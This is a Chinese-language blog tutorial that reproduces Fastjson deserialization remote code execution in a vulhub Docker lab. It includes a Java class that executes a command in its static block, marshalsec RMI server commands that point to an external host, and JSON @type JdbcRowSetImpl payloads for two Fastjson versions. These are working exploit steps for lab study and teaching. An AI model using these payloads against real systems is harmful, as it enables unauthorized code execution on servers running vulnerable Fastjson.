Fastjson 反序列化漏洞利用总结

微笑、不失礼 提交于 2019-12-20 10:27:31

本篇文章对Fastjson漏洞利用的过程做个简单的记录。

背景:

Fastjson是Alibaba开发的,java语言编写的高性能JSON库,采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。

其项目地址为https://github.com/alibaba/fastjson,其提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。示例代码:

//序列化
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)

//反序列化
String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)

其最近几年爆出的漏洞影响都比较大,下面会进行简单的说明。

20170315第一次爆出的漏洞

2017年3月15日,Alibaba官方发布了一条安全更新:https://github.com/alibaba/fastjson/wiki/security_update_20170315。宣布fastjson<=1.2.24存在远程代码执行高危安全漏洞。

利用原理:

因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有setgetis函数,因此我们在寻找利用类的时候思路如下:
1、类的成员变量我们可以控制;
2、想办法在调用类的某个setgetis函数的时候造成命令执行。

于是便找到了JdbcRowSetImpl类,该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup,标准的jndi注入利用。(jndi注入是什么可以看下https://paper.seebug.org/417/)

其利用栈:

Exec:620,Runtime //命令执行
Lookup:417,InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类
setAutoCommit:4067,JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数
parseObject:368,DefaultJSONParser 解析传入的json字符串

原理大概就那么多,接下来搭建环境复现一下,采用docker(https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce)搭建即可。

测试环境:

Kali 系统: 172.21.137.36
Win10 系统:172.21.137.5
外网系统:173.82.232.183

环境搭建:

搭建前提:

  1. Kali系统需要安装docker(自行查询,这个不难)
  2. Kali系统需要克隆vulhub,地址:https://github.com/vulhub/vulhub
  3. Win10系统需要安装 jdk1.6(由于多个jdk可以同时存在,所以可以安装到某个指定目录,到时候在bin目录下执行脚本即可)

搭建过程

  1. cd到1.2.47-rce目录下,使用Docker命令:docker-compose up -d 来启动容器:
    在这里插入图片描述
  2. 环境运行后,访问 http://172.21.137.36:8090,即可看到JSON格式的输出
    在这里插入图片描述
  3. 再次请求,使用BurpSuite抓包,POST一个JSON对象,看是否正常:
    在这里插入图片描述
  4. 环境启动以及更新服务端信息正常,开始构造POC。
    首先在Windows 的 jdk1.6安装目录中的 bin 目录下创建一个TouchFile.java文件,内容如下:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  1. 在 bin 目录下,打开PowerShell,编译该文件,命令: javac TouchFile.java。
  2. 编译好后,在当前目录下会有一个TouchFile.class的文件。
  3. 把编译好的class文件传到外网系统中。
  4. 并在class文件所在的目录,使用python3开启监听,命令:python3 -m http.server 5555
    在这里插入图片描述
    这样访问http://173.82.232.183:5555/TouchFile.class,就可以访问到该文件了。
  5. 之后需要借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class(这个操作复杂,一步步来讲,我自己也是搞了好久,如果要使用LDAP服务,可以参考这篇文章,地址
  6. 首先在外网服务器安装 maven,命令:apt install maven
  7. git clone https://github.com/mbechler/marshalsec.git
  8. 接着 cd 到 marshalsec目录下,输入命令: mvn clean package -DskipTests
  9. git clone https://github.com/CaijiOrz/fastjson-1.2.47-RCE.git,克隆好后,把里面的marshalsec-0.0.3-SNAPSHOT-all.jar 文件复制到/root/目录下
  10. 输入命令:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://173.82.232.183:5555/#TouchFile" 9999(这里要注意,前面开启的5555端口和这个9999端口都要同时监听着,开两个终端窗口都连上外网系统就好解决了)在这里插入图片描述
  11. 在Windows中的BurpSuite中更改POST包,内容如下:
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://173.82.232.183:9999/TouchFile",
        "autoCommit":true
    }
}
  1. 重放该请求包,查看到有响应了:
    在这里插入图片描述
  2. 最后在使用docker,就能看到成功的在tmp/目录下创建了success的文件了:
    在这里插入图片描述
    以上就成功了!:)

另一个版本的利用:

2019年七月份,官方公布了fastjson< 1.2.48 版本存在的rce安全问题,其靶机环境也可以用docker来搭建,都在vulhub的项目中,感兴趣的可以自己搭建试试,两个版本的利用过程仅仅是POST请求包内容不一样而已,这里再附上POST包:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://173.82.232.183:9999/TouchFile",
        "autoCommit":true
    }
}

最后,关于fastjson漏洞探测和一些版本绕过的POC,可以参考这篇文章底部的第4点:fastjson漏洞复现

PS:这个漏洞探测有个坑,你无法知道对方服务器使用的jdk是什么版本的,所以需要自己从jdk 1.6(Java SE6)、jdk1.7(Java SE7)、jdk1.8(Java SE8)一个个试过来,这目前没什么好办法来判断。(附上JDK下载地址,对应着下载)

参考链接:

  1. https://github.com/CaijiOrz/fastjson-1.2.47-RCE
  2. https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE
  3. https://www.cnblogs.com/hac425/p/9800288.html
  4. https://vulhub.org/#/environments/fastjson/1.2.24-rce/
  5. https://vulhub.org/#/environments/fastjson/1.2.47-rce/
  6. https://saucer-man.com/information_security/346.html
  7. https://github.com/mbechler/marshalsec
  8. https://blog.csdn.net/Michel4Liu/article/details/80889977
  9. https://blog.csdn.net/Jiajiajiang_/article/details/103255659
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!